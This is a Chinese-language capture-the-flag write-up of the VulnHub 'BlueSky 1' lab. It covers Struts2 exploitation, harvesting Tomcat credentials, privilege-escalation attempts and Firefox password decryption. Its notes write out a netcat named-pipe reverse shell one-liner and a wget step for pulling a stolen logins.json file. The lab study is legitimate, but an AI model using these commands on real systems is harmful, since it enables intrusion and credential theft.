靶场地址:https://www.vulnhub.com/entry/bluesky-1,623/
writeup 参考:https://zhuanlan.zhihu.com/p/353633797
简介
总结:
-
dirsearch 字典中没有框架信息,例如 struts2-showcase 目录。所以就不知道有这个框架。
在 github 常见字典没找到。
burp scanner 也没跑出来。
只能收集,添加。
-
获取 shell 后,不知道哪些文件是敏感文件。
-
可以通过获取 tomcat manage 密码,部署 war shell。
-
火狐浏览器密码解密。
https://github.com/lclevy/firepwd
lazagne 是一个集合,但必须直接上传到目标网站运行。
-
通过 python 模块传递文件。
python -m http.server 6666 wget http://192.168.200.132:6666/logins.json
-
新的反弹 shell 方式:
# target mknod /tmp/mypipe p /bin/bash 0</tmp/mypipe | nc 192.168.200.128 6666 1>/tmp/mypipe # me nc -lp 6666
探测端口及服务
首先,使用 nmap 扫描目标,看开放哪些端口。
发现开放两个端口,再使用脚本探测其版本
寻找已知exp
openssh
searchsploit 搜索一下版本,看是否有什么漏洞。
除了用户名枚举外,没什么值得注意的漏洞。此处可以尝试弱口令,但不要抱太大希望,先放放,后面如果没有思路可以尝试尝试。
tomcat
接下来搜索 tomcat 是否存在已知漏洞。
唯一有点关联的就是这个,但下载下来仔细一看,版本不符合。
web 渗透
接下来进入网页中尝试看看有没有什么网页功能可以利用。
先用 dirsearch 扫一下目录,发现没有多少值得注意的。
没思路,看下 writeup ,说此处存在 struts2 框架。
看了下 dirsearch 字典,里面的确没有,扫不出来。
在网上找了一下是否有框架类字典,发现 SecLists 、 Fuzzdb 等主流字典中都没有框架字典。
用 vulmap 扫是否存在 struts2 漏洞。
看来是存在漏洞,接下来直接利用。
先看 msf 中是否有exp,有,就直接利用。若没有,则用searchsploit 。
设置完成后直接运行。成功获取 shell
提权
先使用命令查看基本信息,
uname -a
id
groups
cat /etc/passwd
只发现当前用户在 sudo 组。
再看看当前用户目录下文件。
.bash_history
.sudo_as_admin_successful # 说明用户有 sudo 权限。
.viminfo 其中有
/usr/local/tomcat/conf/tomcat-users.xml #有tomcat 用户及密码
根据这个密码,如果tomcat 有高权限的话,一样能干事。尝试 ps -ef | grep tomcat 看tomcat 是否以root 用户运行?结果并非root
user.txt
提醒我们要获取root 权限
使用 linPeas 提权辅助脚本
这个脚本等于集合了跟提权相关的探测命令。通过扫描,发现以下有用信息。
首先尝试系统漏洞提权
搜索是否存在系统 exp ,本地运行 ./linux-exploit-suggester-2.pl -k 4.4.0
一个个尝试,发现没有符合的,看来只能尝试其它方法了。
这里有一个坑点,就是 明明 脏牛漏洞 只存在于 Linux Kernel 2.6.22 < 3.9 (x86/x64) 。
发现一个新项目,收录最新的提权技术,不过需要自己尝试编写 exp https://github.com/xairy/linux-kernel-exploitation
既然系统漏洞提权是没可能,那就从其它方面入手。
看 sudo 是否存在漏洞
失败,因为对方没有安装 gcc。
tomcat 是否以高权限用户运行
有了 tomcat 密码,如果 tomcat 是以高权限运行的话我们也能搞一些事情。
ps -ef | grep tomcat
结果只是以普通用户运行。
几个 passwd 文件
没有什么值得关注的。
第三方软件提权
看是否因为第三方软件存在明显漏洞。 vulmap
python3 /tmp/vulmap-linux.py
晕,居然python 版本为 3.5 ,运行不了。。由于继续处理下去有点麻烦。就先越过这步。。
火狐浏览器的敏感文件
当时第一次卡在这里,然后看 writeup 说可以用工具获取火狐密码。
使用 https://github.com/lclevy/firepwd 来解密。
https://github.com/AlessandroZ/LaZagne 可以解密很多应用密码。但是只能上传到目标系统。